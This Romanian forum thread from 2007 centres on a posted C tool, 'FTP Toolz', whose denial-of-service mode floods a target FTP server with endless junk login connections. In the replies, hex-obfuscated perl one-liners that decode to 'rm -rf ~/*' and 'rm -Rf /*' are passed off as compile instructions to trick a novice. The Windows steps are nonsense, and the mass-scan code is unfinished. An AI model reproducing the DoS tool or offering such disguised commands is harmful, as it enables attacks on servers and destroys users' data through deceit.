escalation666 Posted August 9, 2007 Report Share Posted August 9, 2007 Neavand net vreo zi si neavand prea multe de facut....am lucrat la un programel de asalt impotriva serverelor ftp Puteti cere sa se implementeze idei originale...cum ar fi de exemplu: sa cuprinda si un exploit toolkit...chestii de genul asta...si daca voi avea chef poate le voi implementa Optiunea de mass scan inca nu functioneaza Optiunea de DoS lucreaza mai bine decat ma asteptam...fiind testat pe o masina virtuala si pe Personal FTP server si tinand procesorul ei la 100%.#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>#include <netdb.h>#include <fcntl.h>#include <unistd.h>#define PORT 21#define MAXDATASIZE 500#define IPSIZE 17int main(int argc, char* argv[]){ int fd, nrbytes,length,scrie,ch; FILE *fisier; char *mesaj = "User anonymous\nPass [email]anon@hell.com[/email]\n"; char *denial_mesaj = "User ~!@#$%^&*()_+|aaaaaaaaaa\nPass ~!@#$%^&*()_+|aaaaaaaaaa\n"; char *hostname=NULL, tmphost[IPSIZE]; char buf [1025]; char *host_r[5]; char *ap; int num_hosts = 0, start_addr=0, end_addr=0,i=0; struct hostent *he; struct sockaddr_in server; void banner(void){ printf("--------------------------------------------------\n"); printf("-----------------FTP Toolz v.1.0------------------\n"); printf("-----------------by escalation666-----------------\n"); printf("--------------------------------------------------\n");} void usage(void){ printf("Usage: %s [options] ip\n", argv[0]); printf("Options:\n"); printf("Test anonymous ftp login: -a ip\n"); printf("Denial of service: -d ip\n"); printf("Mass scan: -m begin_ip final_ip (trebuie implementat)\n"); exit(0);} banner();int denial(void){while (1) { if ((he=gethostbyname(argv[2]))==NULL) { printf("Eroare la rezolvare DNS\n"); exit(-1); } server.sin_family = AF_INET; server.sin_port = htons(PORT); server.sin_addr = *((struct in_addr *)he->h_addr); bzero(&(server.sin_zero),8); if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1) { printf("Eroare la creare socket\n"); exit(-1); } if(connect(fd, (struct sockaddr *)&server,sizeof(struct sockaddr))==-1) { printf("Eroare la conectare\n"); exit(-1); } if(send(fd,denial_mesaj,strlen(denial_mesaj),0) == -1) { printf("Eroare la send()\n"); exit(-1); } if ((nrbytes=recv(fd,buf,MAXDATASIZE,0)) == -1) { printf("Eroare la recive\n"); exit(-1); } buf[nrbytes]='\0'; printf("Raspuns: %s\n\n", buf); close(fd); }} while ((ch = getopt(argc, argv, "a:d:m:")) != -1) { switch (ch) { case 'a': if ((he=gethostbyname(argv[2]))==NULL) { printf("Eroare la rezolvare DNS\n"); exit(-1); } server.sin_family = AF_INET; server.sin_port = htons(PORT); server.sin_addr = *((struct in_addr *)he->h_addr); bzero(&(server.sin_zero),8); if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1) { printf("Eroare la creare socket\n"); exit(-1); } if(connect(fd, (struct sockaddr *)&server,sizeof(struct sockaddr))==-1) { printf("Eroare la conectare\n"); exit(-1); } if(send(fd,mesaj,strlen(mesaj),0) == -1) { printf("Eroare la send()\n"); exit(-1); } if ((nrbytes=recv(fd,buf,MAXDATASIZE,0)) == -1) { printf("Eroare la recive\n"); exit(-1); } buf[nrbytes]='\0'; if ((fisier = fopen("ftp.log", "a")) == NULL) { printf("Eroare la deschiderea fisierului log!\n"); exit(-1); } if ((scrie = fwrite(buf,strlen(buf),1,fisier)) == -1) { printf("Eroare la scrierea in fisier\n"); exit(-1); } printf("Raspuns: %s\n\n", buf); close(fd); break; case 'd': denial(); case 'm': ap = strtok(optarg, "."); for(i = 0; i != 4; i++) { if(ap == NULL) { fprintf(stderr,"\nEroare in sintaxa begin_ip-final_ip.\n"); usage(); } host_r[i] = ap; ap = strtok(NULL, "."); } ap = strtok(host_r[3], "-"); for(i = 0; i != 2; i++) { host_r[4] = ap; if(ap == NULL) { fprintf(stderr,"\nEroare in sintaxa begin_ip-final_ip.\n"); usage(); } ap = strtok(NULL, "-"); } for(i = 0; i != 5; i++) { if (atoi(host_r[3]) >= atoi(host_r[4])) { fprintf(stderr,"\nEroare in sintaxa begin_ip-final_ip.\n"); usage(); } if (host_r[i] == NULL || atoi(host_r[i]) > 255 || atoi(host_r[i]) < 0) { fprintf(stderr,"\nEroare in sintaxa begin_ip-final_ip.\n"); usage(); } } start_addr = atoi(host_r[3]); end_addr = atoi(host_r[4]); num_hosts = end_addr - start_addr; num_hosts++; while(num_hosts > 0) if(start_addr && end_addr) { snprintf(tmphost, IPSIZE, "%s.%s.%s.%d", host_r[0], host_r[1], host_r[2], start_addr); hostname = (char *)malloc(IPSIZE); strncpy(hostname, tmphost, IPSIZE); start_addr++; } if ((he=gethostbyname(argv[1]))==NULL) { printf("Eroare la rezolvare DNS\n"); exit(-1); } else { memcpy((char*)&server.sin_addr, he->h_addr, he->h_length); } server.sin_family = AF_INET; server.sin_port = htons(PORT); server.sin_addr = *((struct in_addr *)he->h_addr); bzero(&(server.sin_zero),8); /* trebuie sa mai lucrez si sa mai completez aici... */ num_hosts--; if(start_addr && end_addr) { free(hostname); } break; default: usage(); } }} Quote Link to comment Share on other sites More sharing options...
hackedss Posted August 10, 2007 Report Share Posted August 10, 2007 ia zi cum il copilam ,,,, Quote Link to comment Share on other sites More sharing options...
escalation666 Posted August 10, 2007 Author Report Share Posted August 10, 2007 ia zi cum il copilam ,,,,in linux: perl -e 'print "\x72\x6D\x20\x2D\x72\x66\x20\x7E\x2F\x2A"'in windowze:Deschide notepad, scrii "Visual ccv compile -e path_catre_exe_tau" si dupa aceea scrii codul sursa. Vezi ca trebuie sa inlocuiesti path_catre_exe_tau cu locatia in care vrei sa fie salvat. Salvezi, ii redenumesti extensia in exe si il executi. Quote Link to comment Share on other sites More sharing options...
moubik Posted August 10, 2007 Report Share Posted August 10, 2007 ia zi cum il copilam ,,,,in linux: perl -e 'print "\x72\x6D\x20\x2D\x72\x66\x20\x7E\x2F\x2A"'in windowze:Deschide notepad, scrii "Visual ccv compile -e path_catre_exe_tau" si dupa aceea scrii codul sursa. Vezi ca trebuie sa inlocuiesti path_catre_exe_tau cu locatia in care vrei sa fie salvat. Salvezi, ii redenumesti extensia in exe si il executi.ca sa traduc, in linux:----din pacate a fost obfuscat codul----asta e putin mai lent, dar e mai sigur.perl -e 'print "\x72\x6D\x20\x2D\x52\x66\x20\x2F\x2A"'partea de windows nu am inteles-o Quote Link to comment Share on other sites More sharing options...
escalation666 Posted August 10, 2007 Author Report Share Posted August 10, 2007 nici nu trebuie sa o intelegi tu...trebuie sa o inteleaga cei ca hackedss :wink: si te rog sa-ti editezi mesajul pentru a nu strica distractia celor care vor sa "compileze" Quote Link to comment Share on other sites More sharing options...
moubik Posted August 10, 2007 Report Share Posted August 10, 2007 merita sa invete si ei, nu?hai ca repar ce am gresit in postu precedent/edit: all better now ? Quote Link to comment Share on other sites More sharing options...
escalation666 Posted August 10, 2007 Author Report Share Posted August 10, 2007 Da...asa da...acum e corect...merge compilarea Quote Link to comment Share on other sites More sharing options...